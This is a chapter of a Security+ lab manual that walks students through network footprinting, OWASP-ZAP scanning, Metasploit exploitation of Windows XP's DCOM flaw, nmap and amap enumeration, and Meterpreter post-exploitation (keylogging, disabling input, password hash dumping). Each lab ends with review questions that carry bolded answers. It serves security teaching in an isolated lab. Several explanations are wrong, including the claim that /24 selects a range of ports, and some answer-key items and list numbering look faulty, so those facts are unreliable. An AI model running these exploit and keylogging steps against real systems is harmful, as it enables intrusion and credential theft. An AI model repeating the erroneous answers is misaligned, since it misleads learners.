<CHN>CHAPTER THIRTEEN

<CHT>Vulnerability Assessment and Data Security

<COOT>Labs included in this chapter

* <COOH1>Lab 13.1 Footprinting
* Lab 13.2 Vulnerability Testing with OWASP-ZAP
* Lab 13.3 Exploitation and Payload Delivery
* Lab 13.4 Enumeration
* Lab 13.5 Working with Meterpreter

<COOBT>CompTIA Security+ Exam Objectives

<COOBL>Domain Lab

<COOB>Threats, Attacks, and Vulnerabilities 13.1, 13.2, 13.3, 13.4, 13.5

Technology and Tools 13.1, 13.2, 13.3, 13.4, 13.5

Architecture and Design 13.2

Identity and Access Management 13.4

Risk Management 13.4

# <H1>Lab 13.1 Footprinting

<H2>Objectives

<TX1>One of the first things a hacker wants to find out is what computing devices are running on a network. This is the beginning of the process of selecting a target for attack. The term footprinting means determining a network’s layout (what hosts are running) and perhaps distinguishing between workstations and other network devices.

<TX2>One of the advantages that hackers have over information security teams is that they can take all the time they need to prepare for an attack. Some of the methods used in this lab are pretty obvious; rapidly scanning all the hosts in a network might draw attention to the hacker. But, the hacker will often “throttle” the probes by sending packets very slowly, thereby taking weeks or months to footprint a network while staying under the radar.

<TX2>After completing this lab, you will be able to:

* <BL>Identify active hosts on a network using Zenmap

<H2>Materials Required

<TX1>This lab requires the following:

* <BL>Kali Linux VM
* Completion of Lab 4-1
* Windows 10 VM

<H2>Activity

<FE1TX1>Estimated completion time: **25 minutes**

<TX1>In this lab, you will run Kali Linux and use several tools to identify hosts on your network that are running.

1. <NL\_FIRST>Boot Windows Server or Windows 10 VM and be sure that the firewall and Windows Defender are disabled. Boot Kali Linux and configure network connectivity, as described in Lab 5-1.
2. <NL\_MID>From the Kali Linux desktop, click **Show** Applications, click **01-**Information, and click nmap. At the command line, type nmap –iflist and press Enter. The result should look similar to what is shown in Figure 13-1.
3. Nmap has created a list of IP addresses in the network. While the convention is to assign the lowest IP addresses within a range to devices like routers, we can’t be sure that, in Figure 13-1, 10.0.2.0 is actually a router. Another tool may help us be more certain.
4. At the command prompt, type zenmap and press Enter. In the target window, type WindowsServerIPaddress*/*24 where WindowsServerIPaddress is the IP address of Windows Serverand then press Scan. This scans every open port in the last octet of IP addresses, so it might take a while. There are other flags to use beside /24, but /24 will scan all open ports. Under the hosts window, all computers on the network should be listed by IP address. You can click through the IP addresses and on the Nmap Output tab, you can see the services running on each computer as shown in Figure 13-2.

**[Insert Figure 13-1 Here]**

**[Insert Figure 13-2 Here]**

1. Click the Topology tab. Depending on the network, the diagram should look something like what is shown in Figure 13-3. Notice that you can now be relatively certain that 10.0.2.0 in Figure 13-3 is a router because it leads to the Internet.

**[Insert Figure 13-3 Here]**

1. Click the Host Details tab, click through each of the host machines in turn and examine the type of machine and the MAC addresses associated with each machine. The MAC addresses can be used for maintenance or remote administration, or you could perform penetration testing on the machine.
2. Close all open windows.

<H2>Certification Objectives

<TX1>Objectives for CompTIA Security+ Exam:

* <BL>1.2 Compare and contrast types of attacks.
* 2.2 Given a scenario, use appropriate software tools to assess the security posture of an organization.
* 2.4 Given a scenario, analyze and interpret output from security technologies.

<H1>Review Questions

1. <MULT>In this lab, Windows Server and Windows 10 VM are running on the network and should be identified by Zenmap. In the Zenmap results window, what would a red circle mean if it was in Figure 13-3?
2. <MULTA>The machine is safe and there are no vulnerabilities.
3. **The machine has many ports open.**
4. The machine has the least number of ports open.
5. The machine has the fewest ports open.
6. <FIB>In Zenmap, with the /24 option determines \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_.
7. **<FIBA>what range of ports need to be scanned**
8. that only every 24 port needs to be scanned
9. that only the subnets of the server need to be scanned
10. that only port 24 needs to be scanned
11. <FIB>In Zenmap, the –f option determines \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_.
12. <FIBA>the output file format
13. **open the output file for viewing**
14. that the results should be stored in an output file
15. that the scan should be forced on a directory
16. <TF>The Nmap tool can only determine IP addresses. True or **False**?
17. <TF>The Nmap tool can determine the default gateways of a network. **True** or False?

# <H1>Lab 13.2 Vulnerability Testing with OWASP-ZAP

<H2>Objectives

<TX1>Many tools in Kali Linux perform vulnerability analysis. A common point of vulnerability and open access into networks is through web services. Network administrators need to scan their systems for vulnerabilities with up-to-date tools on a regular basis to ensure the security of the organization’s information.

<TX2>OWASP-ZAP is a free, open-source vulnerability tester for web services. It uses a client/server architecture so that users can scan for vulnerabilities from different locations. Vulnerabilities are updated regularly by volunteers all over the world.

<TX2>After completing this lab, you will be able to:

* <BL>Discuss some of the capabilities of OWASP-ZAP
* Use OWASP-ZAP to perform a web services vulnerability scan

<H2>Materials Required

<TX1>This lab requires the following:

* <BL>Kali Linux VM

<H2>Activity

<FE1TX1>Estimated completion time: **30 minutes**

<TX1>In this lab, you will test your computers for security vulnerabilities.

1. <NL\_FIRST>Boot Kali Linux and configure network connectivity as described in Lab 5.1.
2. <NL\_MID> Click **Show Applications**, click **03-WebApps**, and then click **owasp-zap**.
3. Accept the license agreement.
4. Select **Yes, I want to persist this session with the name based on the current timestamp**. Click **Start**.
5. Enter a URL in the scan text box for a website you have permission to attack. Your instructor should provide you a private webserver setup specifically for this lab. *Do not attempt to attack any other website.*
6. Expand the Injection Modules tree and select all possible boxes.
7. Evaluate the output at the bottom of the OWASP window. How is this information useful?
8. Do you think an Apache webserver would generate different results than an IIS server?
9. Open a web browser and navigate to <URL>[**https://www.owasp.org/index.php/OWASP\_Zed\_Attack\_Proxy\_Project**](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project)**</URL>**. Explore the webpage and see what ZAP has to offer.

<H2>Certification Objectives

<TX1>Objectives for CompTIA Security+ Exam:

* <BL>1.2 Compare and contrast types of attacks.
* 1.3 Explain threat actor types and attributes.
* 1.4 Explain penetration testing concepts.
* 1.6 Explain the impact associated with types of vulnerabilities.
* 2.2 Given a scenario, use appropriate software tools to assess the security posture of an organization.
* 3.1 Explain use cases and purpose for frameworks, best practices, and secure configuration guides.

<H2>Review Questions

1. <TF>OWASP-ZAP software is only a passive scanner and can be used on any web server. True or **False**?
2. <TF>OWASP-ZAP can be used to intercept proxies from a web server. **True** or False?
3. <MULT>Which of the following is a tool used to find web pages that may be hidden from the normal user?
4. <MULTA>ZAP
5. scanner
6. **spider**
7. TCP/IP attacker
8. <TF>ZAP can be run at the command line. **True** or False?
9. <TF>ZAP has the ability to generate a SSL certificate so web servers will trust the application. **True** or False?

# <H1>Lab 13.3 Exploitation and Payload Delivery

<H2>Objectives

<TX1>To protect a network against attacks, you should know how to exploit an operating system vulnerability. In this lab you will do just that, delivering a payload that will reflect back a command line shell to Kali Linux. Specifically, you will focus on a vulnerability in Windows XP. Why Windows XP? On all Windows systems, port 135 is open for RPC. An XP system that is not patched past Service Pack 1 is susceptible to an attack on the Distributed Component Object Model (DCOM).

<TX2>In this lab, you, will install Windows XP in a virtual environment, using an ISO file and product key provided by your instructor. Keep in mind that Windows XP is an older operating system with many vulnerabilities, so you should *only* install it in a virtual environment. We will use this older operating system, not to demonstrate its vulnerabilities, but because it provides a good setting for exploring Metasploit. Be aware that using the Metasploit tool on any system without permission is against the law. The purpose of this lab is to demonstrate the power of an open source tool used by hackers, so that you are prepared to handle Metasploit-based attacks.

<TX2>After completing this lab, you will be able to:

* <BL>Use Metasploit to exploit a vulnerability and deliver a payload

<H2>Materials Required

<TX1>This lab requires the following:

* <BL>Kali Linux VM
* Windows XP VM with Service Pack 0 or 1 ISO
* Successful completion of Lab 3.5

<H2>Activity

<FE1TX1>Estimated completion time: **20 minutes**

<TX1>In this lab, you use Metasploit to penetrate a remote Windows XP system.

1. <NL\_FIRST>Using the Windows XP ISO file and product key provided by your instructor, install Windows XP as a virtual machine. Select all the default installation options for installing Windows XP in a virtual environment. Do not register your Windows XP version online. If necessary, add the virtual machine to the network by setting up the network adapter.
2. <NL\_MID>Boot Windows XP VM and wait for the desktop to appear.
3. Boot Kali Linux VM, log on, and configure network connectivity, as described in Lab 5.1.
4. Identify the IP address for the Windows XP machine.
5. In the Kali Linux VM, open a terminal window.
6. First, explore some of the Metasploit file structure and programs. Type cd /usr/share/metasploit-framework and press Enter. Type ls and press Enter to list the contents of the framework3 directory. The green listings are executable files. The blue listings are directories.
7. Type ls /usr/share/metasploit-framework/data/meterpreter and press Enter to see some of the library files used by Meterpreter, a very powerful tool that we’ll be using in the next lab.
8. Type ls /usr/share/metasploit-framework/plugins and press Enter. Most of these are programs that allow Metasploit to interface with third-party databases so that penetration testing results can be stored and reviewed later. Notice the .rb extension on the files. This indicates that they were written in the Ruby programming language.
9. View the contents of one of the plugins by typing **cat** /usr/share/metasploit-framework /plugins/db\_tracker.rb and pressing Enter. When you are through reviewing the file, press q to quit the less program.
10. Type ls /usr/share/metasploit-framework/modules/exploits and press Enter to see the different types of exploits. To view one of these exploits, type less modules/exploits /windows/backdoor/energizer\_duo\_payload.rb and press Enter. When you are through reviewing the file, press q to quit the less program.
11. Close the terminal window and open Metasploit. Click Applications, Click **08 - Exploitation Tools**, click metasploit framework.
12. Type ? and press Enter. Notice that the command listings are broken into two sections: Core Commands and Database Backend Commands. Some commands can be queried to show additional commands. For example, type route and then press the Spacebar once and then press Tab twice to see a list of route commands. In some cases, you can take advantage of layers of commands. Type loadpath data, press the Spacebar once and then press Tab twice. To go down another layer, type loadpath data plugins, press the Spacebar once, and then press Tab twice. To go down yet another layer, type loadpath data plugins documentation, press the Spacebar once, and then press Tab twice. This is probably deep enough to demonstrate how much of Metasploit is below the surface.
13. Now let’s exploit the DCOM vulnerability. To load the exploit, type use windows/dcerpc/ms03\_026\_dcom and press Enter.
14. To load the payload, type set PAYLOAD windows/shell/bind\_tcp and press Enter.
15. Type show options and press Enter. Here, you can see that you only need to enter Windows XP’s IP address as the remote host. Type set RHOST w.x.y.z, where w.x.y.z is the IP address of the Windows XP computer, and press Enter. Type show options and press Enter to verify that the IP address of the target computer has been configured.
16. Type exploit and press Enter. You now have command line access to the XP system. In some cases, as in Figure 13-4, an error appears, but by pressing Enter, the command prompt on the XP system appears.

**[Insert Figure 13-4 Here]**

1. Type cd C:\documents and settings\george\my documents and press Enter. Type dir to see a list of George’s My Documents folder. Experiment to see what tasks you can perform on the Windows XP system.
2. You may want to leave your systems running as you answer the Review Questions.

<H2>Certification Objectives

<TX!>Objectives for CompTIA Security+ Exam:

* <BL>1.1 Given a scenario, analyze indicators of compromise and determine the type of malware.
* 1.2 Compare and contrast types of attacks.
* 1.4 Explain penetration testing concepts.
* 1.6 Explain the impact associated with types of vulnerabilities.
* 2.2 Given a scenario, use appropriate software tools to assess the security posture of an organization.
* 2.6 Given a scenario, implement secure protocols.

<H2>Review Questions

1. <MULT>Approximately how many Metasploit exploits contain the string “xml” in their information pages?
2. **<MULTA>10**
3. 20
4. 30
5. 40
6. <MULT>When connected by Metasploit to the Windows XP command shell, which set of commands issued from Kali would create a directory called “Reports” on George’s desktop in the XP system?
7. <MULTA>cd C:\users\george\desktop

md Reports

1. cd C:\windows\george\desktop

mkdir Reports

1. cd C:\windows\documents and settings\george\desktop

md Reports

1. **cd C:\documents and settings\george\desktop**

**md Reports**

1. <FIB>When you launch Msfconsole, you are placed in the \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ directory.
2. <FIBA>~/pentest/exploits/msf3
3. ~/pentest/exploits/msfconsole
4. ~/usr/metasploit3/msf
5. **~/opt/metasploit3/msf3**
6. <FIB>In this lab, the Windows XP system received the payload at port \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_.
7. <FIBA>3389
8. **4444**
9. 1024
10. 23
11. <TF>If the Windows XP system had Windows Firewall enabled, the attack in this lab would have been unsuccessful. **True** or False?

# <H1>Lab 13.4 Enumeration

<H2>Objectives

<TX1>Learning about the services and operating systems that are on network hosts is called enumeration. Sometimes, a tool that does an accurate job enumerating one kind of operating system is not as accurate enumerating other operating systems. Some experimentation is required; you can’t necessarily believe what only a single tool reports. Another factor is the security posture of the target host. A personal firewall (software running on the operating system of the host) can confuse results even more. But if the host is on a network, it has to have some open ports for communication, and assessing the state of these ports and how they react to probes can help identify the operating system and services.

<TX2>In this lab, you will begin the process of network enumeration. Be alert to the differences in results, both from different types of scans and from different tools.

<TX2>After completing this lab, you will be able to:

* <BL>Explain the process of network enumeration
* Use nmap to identify services and operating systems on a remote host
* Use amap to identify services on a remote host

<H2>Materials Required

<TX1>This lab requires the following:

* <BL>Completion of Lab 4.1
* Completion of Lab 13.1
* Windows XP Service Pack 0 or 1 ISO

<H2>Activity

<FE1TX1>Estimated completion time: **35 minutes**

<TX1>In this lab, you will use two tools to enumerate your own network.

1. <NL\_FIRST>Boot Windows Server, Windows 10 VM, and Windows XP VM. Be sure that the firewall and Windows Defender are disabled. Boot Kali Linux and configure network connectivity as described in Lab 5-1.
2. <NL\_MID>Open a terminal window on Kali Linux, and then type nmap and press Enter. Review the options that are available with nmap. As you can see, there are a great number of ways to use this tool. Pay particular attention to the SCAN TECHNIQUES section. Here, you can specify what type of scan is used (for example, what TCP flags are set on the probe packets). Notice also, in the following section, PORT SPECIFICATION AND SCAN ORDER, that you can determine what ports are probed on the remote hosts. In the TIMING AND PERFORMANCE section, you can “throttle” the scan so that it runs slowly and is less apt to draw attention on the target systems.
3. In the previous lab, you learned what systems were up in your network by using Zenmap. The next step might be to choose IP addresses from that list and use nmap to try to find out more about those systems. Type nmap -sT -v WindowsServerIPaddress and press Enter, where WindowsServerIPaddress is the IP address of Windows Server. What is your output? What can be determined from it?
4. Type nmap -sS -v WindowsServerIPaddress and press Enter. Notice the second-to-the-last line, which specifies how many seconds the scan took. Compare this time with that shown when using the command with the -sT option used in Step 3.
5. Type nmap -sT -v Windows10VMIPaddress and press Enter. Notice that Windows 10 VM has fewer ports open.
6. Type nmap -sT -v WindowsXPIPaddress and press Enter. Notice that the open ports list for Windows XP is different from those for Windows Server and Windows 10 VM. On the Internet, research the open port numbers found in your scans of these three operating systems to see what services are listening and how security may be impacted on each system as a result.
7. A valuable nmap option is –A, which adds OS detection. Experiment with this option by scanning each system (Windows XP, Windows Server, and Windows 10 VM) to see how accurately nmap can identify the remote operating system. Type nmap -sS -A -v IPaddress. Notice the additional information about the remote host produced by this command.
8. Amap is another tool that can try to identify services that are using open ports. Type amap and press Enter to see the options available with amap. Review these options. Type amap -bqv WindowsServerIPaddress 389 and press Enter to try to identify the service that is listening on Windows Server at port 389. Notice that amap has correctly identified the Lightweight Directory Access Protocol (LDAP) upon which Microsoft Active Directory is based. Because Windows Server is a domain controller, it is not unexpected to find Windows Server running the LDAP service. In fact, identifying this service running on a system is a good indication that it is a directory services system and is thus a high-value target.
9. Close all windows. You may want to keep the systems running as you answer the Review Questions.

<H2>Certification Objectives

<TX1>Objectives for CompTIA Security+ Exam:

* <BL>1.2 Compare and contrast types of attacks.
* 1.4 Explain penetration testing concepts.
* 1.5 Explain vulnerability scanning concepts.
* 2.2 Given a scenario, use appropriate software tools to assess the security posture of an organization.
* 2.4 Given a scenario, analyze and interpret output from security technologies.
* 4.2 Given a scenario, install and configure identity and access services.
* 5.3 Explain risk management processes and concepts.

<H2>Review Questions

1. <SAESQ>In the scans within this lab, there are some unknown open ports listed in the 49000 range. What services are running on these unknown ports?

**[Answer: Using amap, one can identify NetBIOS on all but 49157, which is running RPC. Using nmap with the –A option, a more accurate result is obtained showing that all these ports are associated with RPC.]**

1. <SAESQ>Based on an analysis of your results with nmap and the nmap help file, which scan is most likely to attract attention to the attacker using nmap, -sT, or -sS? Why?

**[Answer: Although –sT generally takes a little longer than -sS to complete, the difference in time is not large enough to be a factor in stealth. However, –sT establishes connections with the target, whereas -sS only sends the target SYN packets without ever following up the target’s response with a connection packet. Thus,**

**–sS is more stealthy than –sT.]**

1. <MULT>When using the nmap option -A in Step 7, you were able to learn which of the following pieces of information about Windows Server? (Choose all that apply.)
2. **<MULTA>NetBIOS name registrations**
3. **Supported Server Message Block version**
4. **Uptime**
5. **High open port service identification**
6. <MULT>Which of the following options in nmap is used to spoof a source IP address?
7. <MULTA>-s
8. -P
9. -sS
10. **-S**
11. <TF>With Windows 10 VM’s Windows Firewall enabled, the nmap command used in Step 7 is not able to identify NetBIOS registrations but is able to identify the operating system. True or **False**?

# <H1>Lab 13.5 Working with Meterpreter

<H2>Objectives

<TX1>Although acquiring a remote shell on a target system is useful, there are limits to its practical application. Much more desirable is a session with the remote host that allows various programs to be executed. The Metasploit Framework includes such a tool; it is called Meterpreter. The mechanism used by Meterpreter is called DLL injection. DLLs (Dynamic Linked Libraries) are shared objects that act as “helpers” for various programs. Once Metasploit exploits a vulnerability on the remote host, the Meterpreter payload injects a DLL into one of the processes running on the target. Often, this process is an iteration of svchost.exe on a Windows system. The risk with this approach is that the remote user might close the program that ran the svchost processes, thus closing the Meterpreter session. To address this, Meterpreter allows the penetration tester to migrate the attack session to another process that the user is not likely to terminate.

<TX2>There are a large number of tasks that an attacker can perform using Meterpreter. In this lab, you will use a few of them in Windows XP. Keep in mind that Windows XP is an older operating system with many vulnerabilities, so you should *only* use it in a virtual environment. We will use this older operating system, not to demonstrate its vulnerabilities, but because it provides a good setting for exploring Metasploit in general, and Meterpreter in particular. Be aware that using Metasploit on any system without permission is against the law. The purpose of this lab is to demonstrate the power of an open source tool that hackers use, so that you are prepared to block Metasploit-based attacks.

<TX2>After completing this lab, you will be able to:

* <BL>Exploit a remote XP system and deliver the Meterpreter payload
* Perform various information-gathering and attack tasks using Meterpreter

<H2>Materials Required

<TX1>This lab requires the following:

* <BL>Kali Linux VM
* Windows XP VM with service pack 0 or 1
* Completion of Lab 13.3

<H2>Activity

<FE1TX1>Estimated completion time: **30 minutes**

<TX1>In this lab, you again use Metasploit to exploit the XP system and then use Meterpreter to perform penetration testing.

1. <NL\_FIRST>Boot Windows XP VM and wait for the desktop to appear.
2. <NL\_MID>Boot the Kali Linux VM. Log on to Kali Linux and configure network connectivity, as described in Lab 5-1.
3. Click **Show** Applications, click 08-Exploit, click **m**etasploit framework.
4. Type use windows/dcerpc/ms03\_026\_dcom and press Enter.
5. Type set PAYLOAD and press the Spacebar once and the Tab key twice to display what payloads are compatible with this exploit. Click Yes. Press the spacebar to go to the next page. Click q to quit if necessary.
6. Type set PAYLOAD windows/meterpreter/bind\_tcp and press Enter.
7. Type show options and press Enter. Specify the remote host by typing set RHOST w.x.y.z and press Enter, where w.x.y.z is the IP address of the XP system.
8. Type exploit and press Enter. Notice that the prompt changes to meterpreter >. Type ? and press Enter to show the Meterpreter commands. Review these commands.
9. Type background and press Enter. Notice that you have put your session with the Windows XP system in the background and you are back at the msf exploit prompt. At this point, you could attack other machines and then return to the Windows XP target. Type sessions -l to list the current sessions. There should only be one available session: session number 1.
10. Type sessions -i #1 and press Enter to return to your Meterpreter session.
11. Type ipconfig and press Enter. This provides some information about the Windows XP system’s IP configuration and its MAC address.
12. Type route and press Enter to see the Windows XP system’s routing table. In some attacks, this routing table can be altered to misdirect packets.
13. Type getpid and press Enter. This shows you the process identifier (PID) on which your Meterpreter session is running.
14. Type ps and press Enter to see all the processes running on the Windows XP system. The number before the process name is the PID. Find the name of the process that matches the PID you discovered in Step 13. Your session is associated with this process because your attack injected a DLL into that process. Now, you will migrate the DLL to another process that the remote user is unlikely to terminate. Scroll down the process list and find explorer.exe. Note its PID.
15. Type migrate PID\_of\_explorer where PID\_of\_explorer is the PID you discovered in Step 13.
16. Type getuid and press Enter. This tells you what credentials you are running under on the Windows XP system. NT AUTHORITY/SYSTEM means you have system privileges.
17. Type sysinfo and press Enter to get some more information about the XP system.
18. Type pwd and press Enter to see what directory you are in on the Windows XP system. Type ls and press Enter to see the files in this directory.
19. Type idletime and press Enter. This can give an attacker an idea of when it might be safe to make obvious changes that the user would see if present. A long idle time may mean the computer has been left on and unattended.
20. Type keyscan\_start and press Enter.
21. Go to the Windows XP system and open a web browser. In the address box, type <URL>cengage.com</URL> and press Enter.
22. Return to Kali Linux, and then type keyscan\_dump and press Enter. The potential attacker could capture all the keyboard activity on the target Windows XP system.
23. Type uictl disable keyboard and press Enter. On the Windows XP system, try to enter course.com in the web browser’s address box.
24. On Kali Linux, type uictl enable keyboard and press Enter. Return to the Windows XP system and try to enter course.com in the web browser’s address box. The potential attacker can prohibit the remote user from using his/her keyboard.
25. On Kali Linux, type hashdump. The result is the encrypted hash of the user passwords on Windows XP. The potential attacker can now take his/her time to run the hashes against a password cracker on his/her own system.
26. Type exit and press Enter to close the connection.
27. You may want to keep your systems running while you answer the Review Questions.

<H2>Certification Objectives

<TX1>Objectives for CompTIA Security+ Exam:

* <BL>1.1 Given a scenario, analyze indicators of compromise and determine the type of malware.
* 1.2 Compare and contrast types of attacks.
* 1.4 Explain penetration testing concepts.
* 1.6 Explain the impact associated with types of vulnerabilities.
* 2.2 Given a scenario, use appropriate software tools to assess the security posture of an organization.
* 2.6 Given a scenario, implement secure protocols.

<H2>Review Questions

1. <SAESQ>What is the function of the timestomp command in Meterpreter, and why would an attacker use it?

**[Answer: Timestomp allows an attacker to change the file attributes that show the date and time the file was last accessed. Thus, the attacker can hide evidence of her presence on the target machine.]**

1. <MULT>Which Meterpreter command allows an attacker to take pictures using the target’s webcam?
2. MULTA>snap
3. **webcam\_snap**
4. getphoto
5. click
6. <MULT>Which Meterpreter command allows an attacker to record audio from a target’s microphone?
7. <MULTA>listen
8. record
9. soundon
10. **record\_mic**
11. <MULT>Which Meterpreter command allows an attacker to attempt to elevate his privilege level on the remote system?
12. **<MULTA>getsystem**
13. elevate
14. uictl
15. pull
16. <MULT>Which Meterpreter command allows an attacker to take a screenshot of the target’s desktop?
17. <MULTA>desktrack
18. deskpull
19. **getdesktop**
20. rush